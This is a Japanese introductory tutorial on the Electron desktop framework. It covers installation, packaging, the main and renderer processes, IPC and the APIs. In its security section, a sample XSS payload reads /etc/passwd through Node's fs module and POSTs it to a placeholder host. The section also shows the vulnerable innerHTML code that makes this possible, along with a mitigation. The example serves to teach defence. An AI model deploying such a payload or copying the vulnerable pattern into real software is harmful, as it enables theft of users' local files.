More than 3 years have passed since last update.

チームラボグループ

ようこそ！Electron入門

Last updated at 2019-11-22Posted at 2016-12-28

ようこそ！Electron入門

Electronって？

・クロスプラットフォーム型の実行フレームワーク
👉 Mac、Windows、Linux上で動く

・Webの技術（HTML5やJavaScript）で作ったものをデスクトップアプリケーション化できる

・オープンソース、商用利用可能

・開発元はGitHub社
（もともとはAtomエディタのために作られた）

実用例

・Slack
・Atom
・Kobito
・Docker GUI
・Visual Studio Code (Microsoft)

使い方

$ npm i electron -g
$ electron

とすると、Electronの初期画面が表示される↓

このウィンドウに以下のようなjsファイルをドラッグすることで簡単にElectronが起動する

main.js

const electron = require('electron');
const app = electron.app;
const BrowserWindow = electron.BrowserWindow;

let mainWindow = null;
app.on('ready', () => {
  // mainWindowを作成（windowの大きさや、Kioskモードにするかどうかなどもここで定義できる）
  mainWindow = new BrowserWindow({width: 400, height: 300});
  // Electronに表示するhtmlを絶対パスで指定（相対パスだと動かない）
  mainWindow.loadURL('file://' + __dirname + '/index.html');

  // ChromiumのDevツールを開く
  mainWindow.webContents.openDevTools();

  mainWindow.on('closed', function() {
    mainWindow = null;
  });
});

main.jsと同じ階層にhtml配置

index.html

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
  </head>
  <body>
    Hello World!
  </body>
</html>

▼ 起動した画面

もちろん基本的にはドラッグせずに、以下のようにElectronを起動します

$ electron main.js

###️ パッケージングする

.exe化、.app化するためには、パッケージング処理が必要になります。
パッケージングするには「electron-packager」を使うと簡単にできます

※2018年現在は「electron builder」を使うのが主流になりました
参考） http://shibe97.hatenablog.com/entry/2017/02/17/090000

$ npm i electron-packager -g

パッケージングするには、以下のコマンドを実行します

$ electron-packager ｛ソースディレクトリ｝ ｛アプリ名｝ --platform=｛プラットフォーム｝ --arch=｛アーキテクチャ｝ --version （バージョン｝ ［その他のオプション ...］

コマンド	説明
platform	all, linux, win32, darwin のいずれかを選択。「--all」は全部入りのパッケージング。「darwin」はmacのこと。複数選択はカンマ区切りで指定可能。
arch	all, ia32, x64 のいずれかを選択（32bit or 64bit）
version	Electronのバージョンを指定。(electron -vで確認)

例）mac用にビルドするのであれば

$ electron-packager . electron-sample --platform=darwin --arch=x64 --version=1.2.5

※ MacでWindows用のElectronはパッケージングできないようになっています。
したい場合はwineをインストールする必要があります。
参考）「Mac環境でElectronのWindows用パッケージングをしたら大変だった話」
http://qiita.com/kimura_m_29/items/ee929cbd08daf744bffc

パッケージング後のファイル構成

Macの場合

Windowsの場合

Electronの仕組み

Electronは大きく分けて、以下の3つで構成されている

1. Chromium ・・・ブラウザ

2. レンダラープロセス・・・ブラウザを制御するプロセス

3. メインプロセス・・・ウィンドウ全体を制御するプロセス

1. Chromiumとは？

Google Chromeのベースになったオープンソースウェブブラウザで、見た目はChromeとほぼ同じ。

ちなみに
Google Chromeは、Chromiumに以下の機能が加わったもの

・Flash Playerの同梱  
・Chrome PDF Viewerの統合  
・Googleの名称とそのブランドロゴ  
・自動アップデート機能   
・Googleへの利用状況やクラッシュレポート送信機能  
・Googleの翻訳機能  
・複数メディアファイル対応（H.264、AAC、MP3など）

Electron内部で html, javascript, css はこのChromiumによってレンダリングされる

2. レンダラープロセスとは？

Chromiumを制御するプロセス

3. メインプロセスとは？

ウィンドウを生成し、アプリ本体の制御（起動、終了、ウィンドウリサイズ、移動など）を行うプロセス

Node.jsのすべての機能が使えます ←これがすごく便利！

つまり、Node.jsがインストールされていないPCでもElectron（パッケージング後）を実行すると
Node.jsのすべての機能が使えます🙆

2つのプロセスを通信するにはどうするのか？

レンダラープロセスと、メインプロセスはそれぞれ独立したプロセスですが、
2つのプロセス間で通信を行うために 「IPC通信」 というのが用意されています

IPC通信（プロセス間通信）

IPC通信の実態はEventEmitterになっています
どちらかのプロセスでイベントが発火すると、もう一方のプロセスであらかじめバインディングされた処理が実行されます

// メインプロセス（受信側）
const {ipcMain} = require('electron') // ipc通信を読み込む
ipcMain.on('message', (event, arg) => { // イベントバインディング
  console.log(arg)  // prints "ping"
})

// レンダラプロセス（送信側）
const {ipcRenderer} = require('electron') // ipc通信を読み込む
ipcRenderer.sendSync('message', 'ping'); // 'message'というイベントを実行

Electronの良いところ・すごいところ✨

・クロスプラットフォームを実現している
→ 1ソースで Mac, Windows, Linuxのアプリ開発ができる

・豊富なJavaScript資源を利用できる
( = Node.jsのすべての機能が使える )

・ブラウザ依存を気にしなくて良い

・ APIが豊富である

APIはメインプロセス、レンダラプロセスにそれぞれたくさん用意されています

メインプロセスのAPI

app
→ アプリケーションの起動や終了などのライフサイクル管理用API
起動時に〜をする、終了時に〜をする、など
autoUpdater
→ 自動更新検知、ダウンロード、アップデート機能。
リリース用サーバーを立てることで自動アップデートが可能になる

まだ試せてはいないですが、主に3種類のアップデート用ツールがあるようです
1. nuts: GitHubをバックエンドとして自動デプロイが可能 (Mac & Windows)
2. electron-release-server: 完全な機能を備える、自己ホスト型のリリースサーバ
3. squirrel-updates-server: squirrelを用いたシンプルなNode.jsサーバ
powerMonitor
→ バッテリが切れてサスペンド（スリープ）になった、システムを再開した、ACアダプターに切り変わったなどの検知が可能
Menu/MenuItem
→ Electronにメニューをつけることができる

レンダラープロセスのAPI

desktopCaptuer
→ 起動している別アプリのデスクトップキャプチャービデオを取得できる
Webframe
→ inputやtextfieldに入力した文字に対してスペルチェックができる、アプリ全体のzoom機能

両方で使えるAPI

clipboard
→ クリップボードの中を取得、書き込みができる
shell
→ デフォルトブラウザの起動、任意のフォルダーを開く、拡張子に紐付いた機能の実行、ファイルの削除等のデスクトップで普通に使える機能が使える

まだまだ他にたくさんAPIはあります
もっと詳しくはこちら → http://electron.atom.io/docs/api/

Electronの悪いところ😇

インタプリタ言語のため、ネイティブアプリに比べて速度が劣る
→ 大規模なアプリには向かないし、重くなる。実際Atomエディタも他と比べるとやや重い。
セキュリティ保護機能はない、XSS が発生しやすい

XSS（クロスサイトスクリプティング）とは？

他人のWebサイトへ、悪意のあるスクリプトを埋め込むこと

ElectronにおけるXSS

Node.jsのすべての機能やShellが使えるので、

ローカルファイルの読み書きや他アプリへの干渉
任意プロセスの生成
ローカル環境の把握

などが実行できてしまう

通常のWebブラウザであればブラウザを超えての処理はできないが、Electronではアプリを使っているユーザーの権限での任意の実行ができてしまう。

→ 例えば、ファイルを読み込んでinnerHTMLを使う場合

index.html

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
    <script>
    const fs = require('fs');
    // sample.html をfs（OSが持っているファイル操作機能）で読み込む
    fs.readFile ('sample.html', (err, data) => {
      if (!err) {
        document.getElementById('app').innerHTML = data; // XSS!!
      }
    });
    </script>
  </head>
  <body>
    <div id="app">app div</a>
  </body>
</html>

sample.html

hello! This is sample.html<br>
<!-- 悪意あるスクリプト -->
<button onClick="var s = require('fs').readFileSync( '/etc/passwd','utf-8' );
var x = new XMLHttpRequest();console.log(s);
x.open('POST', 'http://example.jp/', true );
x.send( s );">push me</button>

▼ 結果

このようにローカルファイルを取得してどこかに送信することも可能になる
fsを使えばPC内のファイルをすべて削除することも可能

緩和策

レンダラープロセスでnode.jsのAPIを使えなくすることができる
node-integrationというプロパティを無効にする

  mainWindow = new BrowserWindow({width: 800, height: 600,
    webPreferences: { nodeIntegration : false } 
  });

ただし、node-integrationを再び有効にする方法やXSSパターンは他にもあるので、

Electronにおけるセキュリティ問題は課題になっている。

まずは、innerHTMLなど外部スクリプトが実行される状態になるべくしないことが大事。

他のXSSパターンなど詳しくはこちら
→ 「Electronの倒し方」 http://utf-8.jp/public/2016/0307/electron.pdf

Electronでハマるポイント

パッケージングに含まれるライブラリ

electron-packagerを使ってパッケージングしたときの話ですが、
package.jsonのdevDependencies内のライブラリは、
Electronのパッケージング時には含まれません。
dependencies内のライブラリのみ、パッケージングされます。

パッケージング後に使用するライブラリは

$ npm i hoge --save

としておく必要があります

起動に必要なファイル

WindowsとMac(Linux)でパッケージング後のファイル構成が全く異なり,
アプリの起動には本アプリ（.app, .exe）の他に生成されるファイルすべてが必要です

WindowsでElectronを開発するとき

Windows8.1でElectronをインストールするとき、以下が必要になります

Microsoft Visual Studio Express 2013

調べてみたところ、Electronをインストールする際に、「nslog」というライブラリをインストールしているようなのですが、
この「nslog」をインストールするときに、Visual Studioが必要になります。

※ Electron v1.0.2 で発生を確認

MacでWindows用にパッケージングする

~~基本的にはできないようになっています。~~
~~ただし、wineをインストールすれば可能です。~~
~~wineのインストールには30分ほどかかります。~~

→ 2019年11月現在、 electron-builder に wine が内包されていて wine インストールが不要になりました！

$ brew install Caskroom/cask/xquartz
$ brew install wine

参考）「Mac環境でElectronのWindows用パッケージングをしたら大変だった話」
http://qiita.com/kimura_m_29/items/ee929cbd08daf744bffc

他の類似フレームワーク

NW.js https://nwjs.io/

参考

Electronの倒し方 http://utf-8.jp/public/2016/0307/electron.pdf
マルチプラットフォームで動く「Electron」は本当に使える技術なのか？ https://codeiq.jp/magazine/2016/03/38961/

802

854

You get articles that match your needs
You can efficiently read back useful information
You can use dark theme

What you can do with signing up

ようこそ！Electron入門

Electronって？

実用例

使い方

パッケージング後のファイル構成

Electronの仕組み

1. Chromium ・・・ ブラウザ

2. レンダラープロセス ・・・ ブラウザを制御するプロセス

3. メインプロセス・・・ウィンドウ全体を制御するプロセス

1. Chromiumとは？

2. レンダラープロセスとは？

3. メインプロセスとは？

2つのプロセスを通信するにはどうするのか？

IPC通信（プロセス間通信）

Electronの良いところ・すごいところ✨

メインプロセスのAPI

レンダラープロセスのAPI

両方で使えるAPI

Electronの悪いところ😇

XSS（クロスサイトスクリプティング）とは？

ElectronにおけるXSS

Electronでハマるポイント

パッケージングに含まれるライブラリ

起動に必要なファイル

WindowsでElectronを開発するとき

MacでWindows用にパッケージングする

他の類似フレームワーク

参考

1. Chromium ・・・ブラウザ

2. レンダラープロセス・・・ブラウザを制御するプロセス